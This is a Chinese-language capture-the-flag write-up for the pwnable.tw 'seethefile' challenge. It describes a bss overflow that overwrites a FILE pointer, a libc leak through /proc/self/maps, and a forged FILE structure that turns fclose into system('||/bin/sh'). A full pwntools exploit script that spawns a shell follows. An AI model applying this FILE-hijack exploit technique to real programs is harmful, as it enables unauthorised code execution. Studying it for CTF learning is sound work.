题目功能 main函数中一共4个功能,openfile、readfile、writefile、closefile。
其中,在最后退出时有一个明显的溢出,是scanf(“%s”,&name);
name位于bss段上,name下面有一个fp用于存储文件指针,可以被覆盖。
再看其他函数:
openfile.只有一个简单的输入并打开,保存文件指针在bss段上的fp变量中:
readfile,从fp所指的文件中每次读取0x18F字节字节到magicbuf中,这个变量也在bss段上。
writefile无法读取含有flag、FLAG、}的字符串,是一个打印函数
漏洞利用 由于无法覆盖栈上内容,仅能覆盖bss段上空间,因此想法是覆盖fp指针,通过伪造fp指针进一步利用,这种利用方法在如下文章中已经给出:
http://www.evil0x.com/posts/13764.html
另外一个重要的点在于libc的泄露。
由于linux独特的文件形式存储,文件的内存信息存储与/proc/pid/maps中,这里pid使用self来代替,如下图:
因此libc可以通过该方式泄露。
伪造file指针的过程,可以通过上面的链接中大致了解,最终的步骤是构造file对象的内容,由于最终要执行fclose(fp),这一函数,而fclose中用户可控的函数指针执行位置在fclose如下位置,
因此必须要使fclose执行到该位置,其决定性作用的是前2个字节,可以通过动态调试来获得,将fclose(fp),转化为system(fp),而fp的前两个字节有太重要的作用,建议不要动。
可以用’||/bin/sh’的方法执行获得shell。
至于前两个字节的调试,需要通过动态调试fclose的方法一步一步来找。
捷径的方法是用链接中给到用stderr内容来最初构建。
另外,题目中的输入方法是可以输入\x00的,算是个福利吧。
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 from pwn import *debug = 0 elf = ELF('./seethefile' ) if debug: p = process('./seethefile' ) libc = ELF('./libc.local.so' ) context.log_level = 'debug' else : p = remote('chall.pwnable.tw' , 10200 ) libc = ELF('./libc_32.so.6' ) p.recvuntil('Your choice :' ) p.sendline('1' ) p.recvuntil('What do you want to see :' ) p.sendline('/proc/self/maps' ) p.recvuntil('Your choice :' ) p.sendline('2' ) p.recvuntil('Your choice :' ) p.sendline('2' ) p.recvuntil('Your choice :' ) p.sendline('3' ) cache = p.recvuntil('Your choice :' ) cache_part = cache.split('\n' ) libc_start_addr = 0 for i in cache_part: if 'libc' in i: libc_start_addr = int(i[0 :8 ],16 ) break if libc_start_addr == 0 : print '[-] didnot find libc addr. exit' exit(0 ) system_libc = libc.symbols['system' ] system_libc_addr = libc_start_addr + system_libc log.success('find system:' +hex(system_libc_addr)) p.sendline('5' ) p.recvuntil('Leave your name :' ) start =0x8048a37 fake_file_start = 0x804b280 +0x4 fake_file_jmp = fake_file_start + 180 padding = 'p4nda' padding = padding.ljust(0x20 ,'!' ) + p32(fake_file_start) bin_sh = '||/bin/sh' start = system_libc_addr exp_back_main = '\x86\xb4\xad\xfb' +bin_sh+'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x60\x8d\x6b\xf7\x02\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\x00\x00\x00\x00\x64\x98\x6b\xf7\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x24\x84\x6b\xf7\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' +p32(fake_file_jmp)+'\x00\x00\x00\x00\x00\x00\x00\x00' exp_back_main = exp_back_main.ljust(180 ,'b' ) print len(exp_back_main)exp_back_main+= p32(start)*15 + p32(start)*8 p.sendline(padding + exp_back_main) p.recvuntil('see you next time' ) p.sendline('cd /home/seethefile/' ) p.sendline('./get_flag' ) p.recvuntil('magic :' ) p.sendline('Give me the flag\0' ) p.interactive()